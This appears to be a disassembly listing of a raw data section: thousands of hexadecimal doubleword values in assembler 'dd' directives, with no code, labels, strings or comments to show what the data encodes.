		dd 0BB1657D2h, 144E2884h, 30247478h, 4C1017FAh,	530018DAh
		dd 948A1DEEh, 1321EF5h,	0D1E831FCh, 504B8302h, 0A19F4FD4h
		dd 3278D503h, 0E0193771h, 0F63775Bh, 0C4EA9C6h,	41DE3FC1h
		dd 0CF2BC0F3h, 0C439BB00h
		dd 75700704h, 0E0223B4Bh, 0E9DE6D80h, 0E7525F8Ah, 91C87800h
		dd 0B4571F10h, 0B93900FDh, 7149D2B6h, 0D70F699Dh, 3BC483Ch
		dd 87AA67h, 90B53B58h, 0B91BEBEDh, 30BB1437h, 0F975ADC0h
		dd 1BA47F76h, 38FA65B7h, 0EB2A5DE0h, 820003FAh,	5566C0E9h
		dd 6F0ADC5h, 6768C625h,	9D0028B7h, 83CB4179h, 77477C9h
		dd 0FF9BD5DCh, 0ED974036h, 0FC00A7C0h, 0C3B6FBCDh, 0F6B3921h
		dd 5F33DA42h, 0D8F30F5Fh, 1A73CBA0h, 32029C2Dh,	907E1B13h
		dd 0DA88A386h, 0D20800C8h, 15773B58h, 0EF00C27Ch, 0BC08CBB4h
		dd 9DBAB7h, 8206DC25h, 0C5D591FDh, 0F68EC02h, 43E627E5h
		dd 0FF36AB21h, 0F0B7F621h, 6BCCC8h, 1D3F2997h, 0FDBB7FB5h
		dd 0D0552714h, 0F85158Ch, 31A90084h, 9F16E1EDh,	14011DC5h
		dd 8E1E81A2h, 941F7576h, 9E045710h, 10C3B9CCh, 0FE6F009Fh
		dd 0FF52B791h, 51E0DF6Eh, 55E75600h, 0D38FACB2h, 7DB100E1h
		dd 0B8A6A250h, 0A130B352h, 3CDC28E0h, 0D5CB80CFh, 28419789h
		dd 42178A37h, 87045490h, 0B41F6120h, 0C08BEB80h, 0D0CE8228h
		dd 0CD006C3Eh, 1598BC71h, 1E17701h, 2FD23BA1h, 307938DDh
		dd 483C6E0Bh, 8761B922h, 8C7EA7CAh, 119C5CE0h, 8A665CBEh
		dd 48BCB303h, 86C0174Ch, 40008055h, 0A71BA996h,	7E5F264h
		dd 0BA9C61AAh, 8AEF0ABh, 0D8729814h, 3B7C883Ch,	0CE7A9E93h
		dd 4B7BD080h, 22E75Eh, 2A2E1AA0h, 543D02BDh, 1D47EE39h
		dd 80FA48B6h, 0E81D37CAh, 0AB7543h, 0F3C39A6Fh,	40E7BB58h
		dd 8C1ED600h, 838BD170h, 0F63A0039h, 0D090AB02h, 7B013692h
		dd 0D66A2DE3h, 0D0408B09h, 0FD3879h, 2BB6930h, 89CC7B37h
		dd 70AF0405h, 7B816DB0h, 92EC4B7Ch, 0A8F500C3h,	58EF0264h
		dd 8100C6DBh, 0C80655F9h, 193CCB6h, 0AC37BD11h,	0C8F35617h
		dd 9A00CDBBh, 7C5B08F9h, 0F289B33h, 0B111CC26h,	87A55E84h
		dd 4517A018h, 483A4421h, 24865C7Bh, 2500EE62h, 0A4997AE4h
		dd 74C0057h, 826EFE1h, 0F71F8CDBh, 0FDC0793Fh, 14419790h
		dd 0B95A0A8Dh, 0A9A66Ch, 2DBC313Ah, 911E8477h, 0DC5C36CAh
		dd 0E6C4C500h, 1EB98257h, 0D46AE1AFh, 1E03A403h, 91425DCAh
		dd 0C299E9E8h, 0E875C8E1h, 0DA498607h, 0C330D15Bh, 939516Dh
		dd 4C388993h, 0AF52AE84h, 8D155700h, 2F547Ch, 0E36DE1Fh
		dd 208B1AF2h, 0BD0CB170h, 48D4C71Ch, 84750181h,	0CE6B48ADh
		dd 6D9C2447h, 300D5ECh,	96ED3F78h, 5C758F53h, 0D1074ABFh
		dd 60378DA3h, 0D2D61CDDh, 0D5175600h, 0FE2EC943h, 0C78203D3h
		dd 24DC5B9Eh, 5022E800h, 87275908h, 7120001Eh, 0E7D692B2h
		dd 9400E0F2h, 0C399A04Ch, 0C08007D3h, 132C698Ch, 0C848A230h
		dd 0D95503F4h, 0A8023F83h, 45C7B7h, 25D8244Ah, 20FF13DBh
		dd 0CF488207h, 0C212A0DDh, 8755600Dh, 99C5008Bh, 16915EEFh
		dd 0ED0F6F76h, 71FB10h,	889C0D0h, 0B319001Eh, 4E942546h
		dd 0D4001BF5h, 24BCCDDDh, 9D5BC6h, 28A9AF7h, 0EE415450h
		dd 0DDF2000h, 33C247B9h, 1C01EEB6h, 541E362Ch, 0B01E5F3h
		dd 0D2EC9CAEh, 0B20FD43Fh, 90BAEF30h, 7DE39281h, 0E07000C4h
		dd 2DC5031Bh, 1800EC5Fh, 7C327E19h, 52740Ah, 4BD9FE41h
		dd 84518C17h, 1D3D6700h, 8BA609EAh, 0D69075h, 352DD881h
		dd 8AEB7052h, 9A9C7307h, 4AF54BD3h, 0AF80A087h,	0F07A6F5Eh
		dd 7F780076h, 39A27BEFh, 88009B1Ch, 4CC955A3h, 9C1896h
		dd 9E2371C3h, 54A9EE15h, 1B3D6E00h, 0FBE2B62Ch,	44400026h
		dd 0CEEB7439h, 280EE48Ah, 0A3F885h, 3EB40605h, 0A56F000Eh
		dd 0A9A24C1h, 4200132Eh, 104E81E5h, 6FD09h, 0F8AE49CEh
		dd 3633DD04h, 0CC6D750Eh, 3F5AC05Ch, 0A04F63h, 0F4B91696h
		dd 44B12D67h, 0DDC8F807h, 41010420h, 10F49F4Ch,	5A7300A0h
		dd 40B2F596h, 5B0FDD39h, 279C757h, 5D2CBAC5h, 9B61C9E0h
		dd 0F9568C00h, 354F3170h, 0FF87DCFh, 9F740CCh, 8FFB1C00h
		dd 4C00CA85h, 4ADCA30Ah, 1D1915Fh, 0AB63E6D2h, 0D8FCE857h
		dd 30000E0Fh, 1FA048F5h, 8DD7C1h, 2A4D4782h, 0CF77B6F0h
		dd 0B2853000h, 5AE6885Dh, 0F347FC7h, 630A3642h,	53AE3260h
		dd 99E25BB1h, 34446500h, 5F9A2BF9h, 95B2005Ch, 0DA4B40A6h
		dd 6800E55Ah, 11DBCC2Ch, 3AEB152Dh, 3A806B9Bh, 0C4EE1450h
		dd 2B133739h, 0C901D67Dh, 687491F1h, 2140B080h,	0E2EDC61Fh
		dd 30C32F2Eh, 0E9038413h, 0C8F75043h, 31A381h, 0B4B04486h
		dd 7E4CCC9Ah, 1447171Ch, 0A5B7C880h, 1C27DCh, 81686C4Fh
		dd 0D7D210C0h, 0A073E201h, 93E3F27Eh, 165CF0h, 5B8D8231h
		dd 888EA9Bh, 4E2D8B00h,	5A44C941h, 4C431C50h, 17FE4035h
		dd 7E450A53h, 0D4DF7200h, 868DC7F0h, 0E6B70082h, 88CB6F69h
		dd 0F6008391h, 6B7E2604h, 0E0C828h, 378EBA44h, 5F5C9CDFh
		dd 4357DC00h, 8412369Fh, 0D6BC00BFh, 0F17F0552h, 0FF00AC04h
		dd 0A37B0288h, 15871ECh, 0DDBE5E0Dh, 0F00C4131h, 0BB04B806h
		dd 68D33E64h, 0CB5964C0h, 954FE61Bh, 0F2A855C0h, 0FFF60C00h
		dd 0DCFA781Dh, 5D1C0047h, 2F628DCAh, 59010A93h,	7C1A8FB2h
		dd 73131F9h, 0FD49FD8h,	9D7DC998h, 818CE7E0h, 3400F851h
		dd 551842D7h, 6B3D5Ch, 0A7F4F0B3h, 0FCBA4D90h, 0F1744403h
		dd 0B8112494h, 1FF8084Eh, 3B5A828h, 975B4346h, 834F3CE0h
		dd 0C19FD00h, 0BA4D429h, 52EA0016h, 3903DB5Fh, 9F98E41Eh
		dd 1D7D2E07h, 0C4B54493h, 0BED65880h, 3F6E4B6h,	0B0521EB2h
		dd 41F8D99Bh, 8B24063Ch, 0F38E7030h, 4DA66050h,	376550Ch
		dd 0E5F93152h, 0E90DAEBh, 8D0091D7h, 3BE741FFh,	261D98C4h
		dd 352A9Bh, 0F4BFCFA1h,	0E000880Bh, 0DF564273h,	32C1D9h
		dd 119282E4h, 5A355178h, 1A0014B8h, 0ED01FB0Ch,	2807EFh
		dd 0BD580393h, 0AE66D565h, 0C0BE3600h, 0E4157C2Ch, 5C1FE027h
		dd 0D00315B3h, 0D52A89C8h, 0BAA58FA0h, 9D1D74ECh, 0A1801E34h
		dd 211D6EC4h, 659600F1h, 400C8101h, 5D00F378h, 12423277h
		dd 0EAA439C7h, 1984098Ah, 0DC87C831h, 0F89F808Fh, 0BB1D4483h
		dd 3A414A32h, 2C996049h, 0FCF1C8D0h, 4CF20089h,	0B9EF47A5h
		dd 8B004387h, 0F323A738h, 11239F0h, 0CDB22277h,	0DCB48092h
		dd 28378597h, 0A9002025h, 840C1Dh, 2E994B23h, 6F67AE11h
		dd 0E69CEB1Dh, 0F812BF00h, 0EA974B2h, 0CACF3BF0h, 0B3E7C09Eh
		dd 32A4634Eh, 8E36DB00h, 667782D8h, 9B9800BCh, 0CAA91593h
		dd 0AD0939D2h, 11BE3h, 6472A34Ch, 14363105h, 0E07B1320h
		dd 31003968h, 0A4E177Fh, 0C95ED20h, 0A985B67Eh,	6B7EC049h
		dd 0A4A1DA00h, 58DC6581h, 0A0F63D97h, 859A5483h, 40008233h
		dd 0DC59209Eh, 1CBB93DAh, 7A4F9C5Dh, 0EDBEEB80h, 1AF6E49Dh
		dd 3153B0C0h, 0AFD0A2h,	121FB9A3h, 6D3CE0BAh, 80562300h
		dd 0C4AEC1F0h, 833F00FEh, 0C31B0DAAh, 16021D01h, 4A97AC4Eh
		dd 0A6A48009h, 25BF7Dh,	538CAED4h, 49F9B907h, 0C96CAB00h
		dd 0C495CAACh, 0AF933A9Ch, 617916h, 0BE4163F8h,	0BD00472Ch
		dd 739B3523h, 34198Ah, 0D8C24EEEh, 0AD33B645h, 128CF801h
		dd 243ADABBh, 3632DE8h,	9F4DCAB3h, 49D04C6Ch, 3AE62331h
		dd 0D162800h, 0D6073BEAh, 0E21704BAh, 90CBB702h, 0AD9FAA18h
		dd 0FE7219B0h, 0C3A5B101h, 91807D7Bh, 0B303FD5h, 96DE004Fh
		dd 0D971864Eh, 940360A6h, 0F27D343Bh, 37CFE072h, 0B7280079h
		dd 0F33C925h, 0FB00A526h, 0B1920843h, 463D932h,	8040AAE6h
		dd 0A67080F1h, 0F400061Dh
		dd 0D523ECFDh, 0AD6C1Bh, 48D27CD6h, 7684D7F9h, 8E6D1800h
		dd 70BB7B21h, 0CC3200A7h, 0C25AC0EEh, 8974415Eh, 8F00F7EEh
		dd 0A67F7EE0h, 3F5B5DCh, 0CFCA4BAFh, 3BC91280h,	0CD9FCD3h
		dd 0ED083200h, 681906D6h, 0E2E40047h, 0FBFDE953h, 0F4E1B8A8h
		dd 3474813Dh, 0CB9BB900h, 6F1074FCh, 66A6004Bh,	32464FB3h
		dd 0A8052945h, 8AFC71BFh, 0DCFEC0FBh, 0A3005462h, 0C77AE183h
		dd 45B7C4h, 122DC8BCh, 87883998h, 0F509D3EEh, 0E81B06h
		dd 96BB6D24h, 59AA0009h, 63A1FFB3h, 0E103B63Dh,	0F9FEF2CCh
		dd 84CD00Fh, 682B001Bh,	0D7B59C9Eh, 0A8A0E8F7h,	0B3207FE2h
		dd 0DC53098Eh, 0E8807E86h, 4A81027h, 3A565904h,	0C2864677h
		dd 35FA0018h, 7F518D0h,	40CEE868h, 0EA82C01Dh, 30AAD40Dh
		dd 0C7591FCEh, 0E776659Ch, 6A00A190h, 0E90514F1h, 0ECE8E6AFh
		dd 8BE279h, 3082B4C8h, 17271824h, 0A0E44F00h, 0D9EBA4FEh
		dd 0CD1A0038h, 914AC9F5h, 0DE5AA658h, 5B0041B8h, 0BC67A7EDh
		dd 98005E96h, 2328B7C0h, 0A0063AD7h, 0B32A95h, 78A84D07h
		dd 63185825h, 0CD45CB00h, 0EEB68310h, 0BBC11343h, 0D4F307D3h
		dd 3F7820EDh, 0BE12E37Ah, 3600677Eh, 0CE407C32h, 0A9C2007Dh
		dd 5E2190Ch, 0C501265Ch, 0E7201E98h, 2DC49414h,	0C89A0Eh
		dd 0F9122C04h, 5FFC8B62h, 3E0FB103h, 0D0CDE77Ah, 765A56h
		dd 0F2F04D17h, 5159E6Eh, 1F003BE4h, 0E1D3938Ch,	4D5189h
		dd 26B783ABh, 6AF02F27h, 48B62500h, 0B35C1CCCh,	46560ACh
		dd 0F54EFECBh, 8113E800h, 2CEBB92Fh, 5C2E768Fh,	0E103354Ch
		dd 0DA94D203h, 0D0E591F1h, 7800439Fh, 4E140B06h, 13D2512h
		dd 17302141h, 809E3267h, 79420518h, 940D9Dh, 0B448E95Ch
		dd 0D4B03AB7h, 0C612C21Ch, 80572B09h, 4A39884Ah, 0A83F00B3h
		dd 0DC5AC8D2h, 20166B5Bh, 78A078F3h, 9C3700EEh,	0CE2DE9E0h
		dd 8A00D865h, 8849A655h, 0FE6C274Dh, 0FBC00101h, 0FFF0C62Fh
		dd 963E8CE5h, 0EF1030h,	4423F255h, 51B2CD17h, 6A094AB0h
		dd 0FD9DE233h, 1E9F6C00h, 520056F3h, 0EC49E398h, 1D3953F0h
		dd 400E687Ah, 0EB16117Eh, 0AE001F7Ch, 54D16143h, 0B476ACh
		dd 0A7298E93h, 85319B11h, 39EA4400h, 78E3A449h,	7C99B2h
		dd 47D4C226h, 42008261h, 13FE94ABh, 7F35E4Eh, 0C13EDEFBh
		dd 8BA4B334h, 121449A8h, 0A5273B03h, 0F02A0AADh, 364E07h
		dd 0DF3F182Fh, 9EF9892Dh, 947D1C00h, 0A2CD4D54h, 1D370561h
		dd 8040289Dh, 0EE5F0420h, 5BE35300h, 3F10B50Ch,	0AA4500CAh
		dd 1B7B93CCh, 6800BED9h, 0A848C637h, 13CA59DFh,	3621407h
		dd 9E0A9F5Ah, 7275E598h, 2B807B00h, 6061E76Ah, 437901CFh
		dd 73D4D0E8h, 2F5C61C0h, 185FBF80h, 3DF3E65h, 0B4D91F87h
		dd 59642013h, 87506A70h, 62003EE0h, 8077670Ch, 98062994h
		dd 24280008h, 0C621F2DEh, 36E08F1Eh, 0C8E53826h, 0C711D100h
		dd 793A9F89h, 64F8DEEFh, 0AF900D3h, 0EC3533ACh,	1F884F8h
		dd 0B036AF07h, 21D08506h, 0FFC93Bh, 66B74415h, 0E08097E6h
		dd 65499D07h, 0AE53DB28h, 7137A8A8h, 2F1200CBh,	7DCA6E1Ch
		dd 0A9006CA4h, 0FC0EDDDFh, 0FA021B4h, 0E3B1F128h, 0BFEAE0C3h
		dd 16048BB8h, 58006848h, 1B300018h, 0C9BAE82Dh,	0F74900B2h
		dd 1098C8BFh, 1300EF36h, 57F41DB8h, 2C1A32D5h, 7E42759h
		dd 102E77A7h, 3BD88BE0h, 45FB1618h, 0F6EC2F50h,	0F1C30BA7h
		dd 6F076C58h, 93ABD04Fh, 9E76043Ch, 5E2828C3h, 0A620EFCEh
		dd 749D6E0Eh, 2B460021h, 5CAAFF8Dh, 0D026B484h,	0DD00245Ah
		dd 0F99EA6CBh, 0D3A2045Dh, 8535BB39h, 0E140018Ch, 60321F83h
		dd 0E91D67F2h, 7E00BD92h, 77078148h, 0EDE0005h,	0F3F015CEh
		dd 0B4732376h, 0C80028DFh, 2AF7CB3h, 65F604B6h,	85E6E7E1h
		dd 5FCA0F4Fh, 34A005C9h, 0DA88F216h, 0E2E86600h, 0B71C8CAh
		dd 0D6800F83h, 926E247Ah, 0D28DE900h, 0B900B0CBh, 0AFFB9EE7h
		dd 752BDEF7h, 5F9A7055h, 5481E0F5h, 3C800200h, 1CF0B87Ah
		dd 93EA0E74h, 0A1E07C39h, 0D544DB16h, 2650701h,	0B714BBC5h
		dd 5A1CB6CCh, 0D0B7019Bh, 0E04C410Eh, 8D03FE7Eh, 6B753525h
		dd 0BFA0A104h, 71D73170h, 7EE50007h, 4F4A7D2Ch,	0E1009817h
		dd 95704B10h, 4CA18EAEh, 1181DCBh, 2EDFF8B7h, 0BE853Bh
		dd 78FC14ADh, 7499DCh, 3455123Eh, 15927752h, 686D7500h
		dd 261B2182h, 0B869753Fh, 0E0340050h, 759E8841h, 1206D809h
		dd 0A3818DAEh, 0DDE50011h, 86518E59h, 44007E84h, 58D149A7h
		dd 0E8299E2Fh, 16082867h, 6BDB05F0h, 0C09CEA69h, 8F97B19Dh
		dd 852AA900h, 58C5A139h, 0AB7009Bh, 8D43FCF5h, 3CECAEA5h
		dd 0B0821F00h, 3115561Bh, 54E70EC9h, 0EBE0D9D3h, 83B65558h
		dd 8824FE98h, 0B41F4811h, 46F22F40h, 0F40206h, 51949584h
		dd 9A0CB7F3h, 0B5C72700h, 8B0503B9h, 102830A6h,	629CFF38h
		dd 0B2C94E8h, 0C100A8A0h, 2827AF50h, 7A2A0058h,	0E69DE1DFh
		dd 51723DD1h, 1D2E7C00h, 0F7D508CEh, 8236E87h, 8F6D3FE0h
		dd 420385EEh, 0C0191669h, 0B770C726h, 7402A2ACh, 0C3B600FAh
		dd 3EB2700Bh, 615049A0h, 53E818E1h, 482AD748h, 0C3C00044h
		dd 594439FBh, 0C93401E8h, 401A22B1h, 0F52BF435h, 6CA9BD00h
		dd 0E19884Fh, 6744001Fh, 0D2451E3Ch, 9638D97Eh,	0A87601CFh
		dd 0F631540Fh, 8E854481h, 0F058052Eh, 0B900E1E9h, 6E394782h
		dd 3CEF42Ah, 8C0BF204h,	70DA3BF0h, 0CF710C8h, 0E0406FAh
		dd 9F273786h, 0C69E6880h, 0CF760784h, 0B0EE03C9h, 488667A4h
		dd 8074B139h, 0F35D7F8Dh, 2655C24Dh, 0C8D4h, 0BD06471Ch
		dd 0ED5CA419h, 5DD20093h, 0AFD7893Bh, 0FC900097h, 3C8552E7h
		dd 0D30096D0h, 4FB8A7Ah, 2FFA253h, 80F6E492h, 9C603E78h
		dd 0D13A6A26h, 0A6849ECDh, 1A6CF800h, 22946B9h,	3AA0B669h
		dd 14707F85h, 9A7ADB02h, 81F6C221h, 0DEB106F0h,	5FBCB000h
		dd 1F408B00h, 49D482CDh, 0ED0C0363h, 81B3ECF6h,	19FFA980h
		dd 0E9BB7000h, 601DDE0Fh, 3F0701E2h, 22FA0E79h,	30C020BFh
		dd 259C811Ch, 0F64FE8Bh, 8B8D4009h, 242238h, 6E7EF0BBh
		dd 335EDB56h, 3B47E000h, 0A2924B88h, 3CFB009Ah,	1C604DF1h
		dd 8B13E736h, 0F907B9D7h, 64307D8Fh, 3AA030C3h,	0F000B31Dh
		dd 5BEE8CC2h, 0D8A8B5B4h, 0E802A38Fh, 6C9E76EDh, 0B5E0981Ch
		dd 0B631002Ah, 4C081602h, 6C7DA234h, 1456D201h,	0DFBE2554h
		dd 497EF297h, 90426D48h, 9305D820h, 40826171h, 39BBC6B3h
		dd 0C8825215h, 0CE6C9411h, 0E5050878h, 8DC5EB05h, 19911CD0h
		dd 90B650F6h, 390B48A0h, 1AADF800h, 0EF7B7077h,	57DEC803h
		dd 80C399D4h, 1EC89B0h,	7A4E6E98h, 0D424E0A3h, 0B22666A7h
		dd 5E001E46h, 0BA9BC971h, 0F5E3008Fh, 0FF59ED6Bh, 0DA00B601h
		dd 841788BEh, 0F76D1C9h, 9D2F1009h, 506AAB00h, 970037C1h
		dd 244E5729h, 0CD2BEAh,	0C86973B5h, 0F8ED74FCh,	42D4A924h
		dd 0EE139504h, 0F5326C0h, 6BE60060h, 41F78637h,	35917D8h
		dd 0C8C20064h, 7173DE57h, 0ADCE0070h, 0FD6444D4h, 301E7616h
		dd 4B07B78Ch, 0FA301EACh, 302352D5h, 0E1198A0h,	0DA01E7E9h
		dd 116AD194h, 8FDAD59Eh, 0DB3F60E8h, 1526EFB3h,	0F403C338h
		dd 0A1BFB900h, 0A311EEE8h, 284EBD0Eh, 1E9D818Eh, 99813B4Fh
		dd 4885055Fh, 0A040E014h, 79AEEA12h, 31C7121Eh,	1C0622A5h
		dd 0C5F0C18h, 813817A2h, 83F97900h, 0ED56E749h,	132743Ah
		dd 0AD7F298Dh, 0CFA3B841h
		dd 743DD4B0h, 900F2F0h,	0BE1F5214h, 139F9C73h, 6281317h
		dd 81B23659h, 795200E5h, 0F63019D3h, 7C4C9C0h, 1DA3E480h
		dd 0C2CB0039h, 6BBF6917h, 450FF283h, 274C40Ch, 60A463C3h
		dd 0DA96DDh, 0E209F05Fh, 0DEC61BBDh, 0BAA0951Eh, 0ACD96880h
		dd 0F034E0Bh, 0B0FBA3E1h, 7022407Fh, 0D353E764h, 2821BC03h
		dd 0C9FEB124h, 3E704DB9h, 7032021Ah, 0E2CABA46h, 8534C860h
		dd 6F0C2F0Eh, 864700A3h, 1F3A50A6h, 0E2307Dh, 5F90D4BFh
		dd 5C0187B0h, 29D9E1F9h, 0C050CAEFh, 8E7D21h, 3DD3ABC7h
		dd 0CB4B076Dh, 394AEC15h, 0EA651DE4h, 0D0A17DDh, 0EC86C0BFh
		dd 213C31h, 0D638E182h,	16F4E4EEh, 0BCF26503h, 18F72FC6h
		dd 39B81741h, 44005B0Bh, 6A4B507Dh, 789A3Fh, 1447CE7Fh
		dd 5E31815Fh, 0BB99E00h, 0B51DD24Bh, 2BC50124h,	3796135h
		dd 2D2C303Ch, 5322AF0Eh, 0A1E9E027h, 0C4F4E89h,	163AF8E2h
		dd 51DCDD9h, 0B1000B84h, 3FE569FDh, 23BF00B5h, 753A55E0h
		dd 63F40622h, 0BEBB603h, 0A250DA84h, 0E61B6099h, 0F6CBEAA6h
		dd 823F0078h, 7F2D5130h, 0C81EABC2h, 0A603F738h, 468D14F4h
		dd 0BF810411h, 0F0DBF272h, 1B007DB6h, 0DA18D565h, 3C2829h
		dd 3D75A79Eh, 5768315Bh, 9CB59D1Dh, 0DDE97242h,	44DEC142h
		dd 5872920h, 4805D1A7h,	9918C0CEh, 0BD0022D7h, 0FA077829h
		dd 0DAE0E2h, 43F270E8h,	0FCE657C0h, 667C3800h, 0D4FB5120h
		dd 0A2AB008Dh, 0CFF85AB2h, 0AD07D285h, 487F245Bh, 927632A0h
		dd 0A2DB03F5h, 0EFD52005h, 6197CDC8h, 7487C00h,	0E1B72F16h
		dd 626400D3h, 301550C2h, 0C55C98AEh, 5C2B0077h,	1D1E6559h
		dd 86AD0181h, 84C9BA67h, 8ACD20B9h, 1FEB7503h, 0A060DDF4h
		dd 0F635F9h, 814D45F0h,	0F8BC8F6Ah, 99583Eh, 0DEB8C1Ch
		dd 0E86BFFBh, 0A0FE1D98h, 0B00FE340h, 43006282h, 5A509DD0h
		dd 658904h, 1C88ECFh, 5580DAE1h, 0D71D52FAh, 0B040C35Fh
		dd 99F87369h, 7EAE003Eh, 0F2710A1Dh, 79001538h,	318E2944h
		dd 43359Ah, 0AB596086h,	3340D480h, 0CA0E7000h, 0BA4FF1C6h
		dd 23910055h, 46F5C42h,	0AD1E4DA4h, 0DCA43DCh, 0EC40FC45h
		dd 0C3B7FCh, 0D79717CDh, 5E1F4F3Fh, 0B2691D00h,	31A113D6h
		dd 83C00004h, 4C985DA5h, 0DC00C6EAh, 238C382Bh,	177496ADh
		dd 6BD706h, 77F5CD4Ah, 13032C14h, 0DBDC89E0h, 431CC078h
		dd 0ABF800CEh, 0AEC1EF0Eh, 44007EE8h, 0EA763D61h, 547F04h
		dd 7AA81227h, 1B984E56h, 77CECD00h, 7128CC44h, 1DD60064h
		dd 3778F05Dh, 981E071Ah, 0B080E1C8h, 0B1336B4Eh, 0F0A0061h
		dd 0ECF4D23Ch, 9D0018A1h, 38E4CFCCh, 0EC78A51Fh, 42A40093h
		dd 0AD75B05Ah, 0F8758036h, 0BDFF9000h, 56B1E9AFh, 4CF000D8h
		dd 849A320Ah, 0D0E5A04Dh, 5F003814h, 0D07B45CBh, 268760D8h
		dd 0C18326h, 40535CAFh,	0B000A4ECh, 2744B3F9h, 3A60C421h
		dd 0F962CEh, 6C0EA064h,	0A8689E7Bh, 9842510Fh, 945FA09Ch
		dd 0E515CA26h, 9E4B5080h, 0B13AA87Dh, 5CC8A200h, 429CE191h
		dd 2CB0659h, 6A30D2E7h,	392B2A01h, 9683AC1Fh, 749D6D8h
		dd 16F5DBEDh, 4E295048h, 8E001F0Ch, 93B1888Ah, 0A277C1h
		dd 0AF383D84h, 19792368h, 2ADBD600h, 1F9840FCh,	0DE15610Eh
		dd 603B2720h, 190089D7h, 2EC976CFh, 1E0E86Eh, 29308AEBh
		dd 40C73B93h, 4DFB5CC4h, 0F8C29900h, 927217A0h,	48D0C09Ch
		dd 0BA75AE21h, 0AA93FD00h, 961CD8F7h, 0F5AF0008h, 0C30477A2h
		dd 15F051EAh, 9D939A00h, 0A6AC6A29h, 0AE122E25h, 154D1D09h
		dd 2D03B8D1h, 4564C3A2h, 0FAABB008h, 0C0F81D5Fh, 5DF7964Ah
		dd 0DE38330Ch, 0CE90831Dh, 0D188EF2Ah, 0AF85EDCh, 0E7A9A014h
		dd 8911072Fh, 0A0E32995h, 65E0BF81h, 97A7C700h,	68D0CE52h
		dd 0A0895032h, 93340090h, 0D253AAC6h, 0E9E844A3h, 26C86703h
		dd 0F6A64820h, 0D7C13EA0h, 12345616h, 2BA30184h, 0ECA14AF8h
		dd 0A43A2C8Dh, 98007BB7h, 18C56867h, 7D339BEAh,	23731CCCh
		dd 96C700F4h, 698E306Fh, 0CF000472h, 73ABFDBFh,	7C0C9B2h
		dd 1C3D5597h, 0F32B106Fh, 8C005119h, 0F03459A6h, 7E06E4h
		dd 6C7CC0DAh, 0AA95B87Dh, 483348h, 0DFA7F787h, 1D6D96Bh
		dd 0BD5273B3h, 0F48DCA46h, 2900A5D4h, 63A6112Bh, 6DA34h
		dd 425D74E6h, 40937D10h, 85AEF203h, 0D1B2ABBFh,	89C4C1FEh
		dd 15F6000Eh, 33111769h, 0CB0713C6h, 0E6414A71h, 20848C90h
		dd 7B0D01C4h, 0DBB3C545h, 3C1C20B4h, 0D121A200h, 839D6290h
		dd 0E5850694h, 115B0A08h, 0E1761D02h, 0D1DD89h,	38A49712h
		dd 9E07A00h, 1AA2B0C9h,	0FDC4041Dh, 0EBDE78D4h,	8B0EE681h
		dd 7F068B70h, 0AE6067Ch, 8885F13Dh, 0A1919A07h,	35104556h
		dd 6399443Ch, 0CF3E5EE7h, 6EEA74A0h, 6030F100h,	0E52A95AAh
		dd 3DD27A58h, 0A5008B25h, 80316596h, 3476E2C2h,	3DEAD00h
		dd 1FC026C1h, 434B096Ch, 86F799B2h, 0E198665h, 0E117A324h
		dd 3D3E1C40h, 9D00FAD6h, 0BC96CD7Bh, 889F8Eh, 1DA5A62Bh
		dd 879836E5h, 5B00E079h, 0D9E4723Bh, 190BD14h, 44C781D4h
		dd 0C16E629Eh, 4E48D873h, 36EAC100h, 0DFC95E10h, 65F700E3h
		dd 0C6B12146h, 0BA00DD7Dh, 146F9094h, 0FAA39Fh,	0D4BC722Eh
		dd 6AB33621h, 8794DB00h, 5655D0C2h, 960B3A83h, 51FAFC01h
		dd 30A7ABACh, 8D98655Ch, 83008A7Fh, 26408B2Ah, 78FB2E5h
		dd 4DFD4633h, 0BA8CB02Ch, 43171247h, 0A0004285h, 35C9D13Bh
		dd 71EF0BD8h, 0F2004C5Dh, 0FB9D6E7Dh, 80D2B938h, 0C105073Eh
		dd 1E7599ECh, 408C4B6Dh, 5CCB22DDh, 170E6A1Ch, 0E0FFF442h
		dd 2402C034h, 9C82007Dh, 99A7C435h, 1D001C54h, 5AF6F2BAh
		dd 4718078h, 0E6190731h, 0C414C056h, 0FA0339A6h, 1A6A66A8h
		dd 4AB90CCh, 20676DEh, 0CD911889h, 2CC898FFh, 0D80C0B9Eh
		dd 113472FDh, 2282002Eh, 0FA814F94h, 8D00A84Ch,	0FE0B71A5h
		dd 0D4AF59h, 1033B104h,	0D36A4235h, 0FB401100h,	0F7B3901Ch
		dd 0CAF4003Eh, 1AF648EFh, 3B3919C8h, 0CCFCA4C4h, 8C55C900h
		dd 0F58A856h, 5FF501A1h, 5E00660Fh, 65115BCAh, 0A018BB2Ch
		dd 405D6A0Fh, 0D074048Fh, 32413D6Fh, 8B4BFE00h,	7E87BAE9h
		dd 0CDAF8407h, 0E770CBB3h, 1D277852h, 80C84E54h, 0FCC1C9CFh
		dd 0A80C42EEh, 58FE5D5Ch, 0F4FE0B3h, 0A90B2D62h, 9BC5409Fh
		dd 9D0508F8h, 0EB9ACF00h, 77D9F43Ch, 4B261F6Eh,	0B05595A1h
		dd 57ABD700h, 1D1222DBh, 0B01307Ch, 6E3324Bh, 3064C789h
		dd 48C42C79h, 86C68094h, 0C16D64BAh, 7EC9BF00h,	363B676Eh
		dd 0E30005Ch, 9122F1C4h, 3900BB0Ch, 0C6856DBAh,	7A4AF29h
		dd 46E0BC7Ah, 882710F7h, 0CA7075B8h, 1CD09100h,	47AA8C71h
		dd 7F275BBh, 60A83D6Bh,	25570C8h, 5C00DD59h, 0EBFCC41h
		dd 3AD3AAh, 0CE9F44B8h,	0F19ADC1h, 4FC7A11Dh, 0B40EB556h
		dd 5A6E6040h, 7777211h,	7D9404E8h, 5856505Ch, 0F000D9F1h
		dd 3DD3B871h, 0B69ACB2h, 51530B8Ch, 0E7430B80h,	83013473h
		dd 5DC288D0h, 1AE81B4Dh, 807C001Eh, 0D33BCC1h, 2C009E9Dh
		dd 0DF99DD0Ch, 3FE991h,	0B9CF77B0h, 0E3522001h,	64CEDA0Ah
		dd 57D60457h, 3BB42041h, 67F804h, 0C709A83h, 10BA5AF8h
		dd 930B807Ah, 807D5C75h, 0AC15520Ah, 8630C056h,	97D5DD96h
		dd 0DCFF7473h, 610B432Eh, 0AC5A63h, 0D450A115h,	665600A6h
		dd 3E4DB4C4h, 2579A210h, 0D0AE70C1h, 50E820E1h,	0BC7E003Ch
		dd 33A6B598h, 415ACB09h
		dd 3A9C0B1Fh, 30BCF9Ch,	20A30889h, 8C82C170h, 70F92401h
		dd 500C1737h, 7928EFCh,	3D66D85Bh, 0FA7D3C4h, 502E51A1h
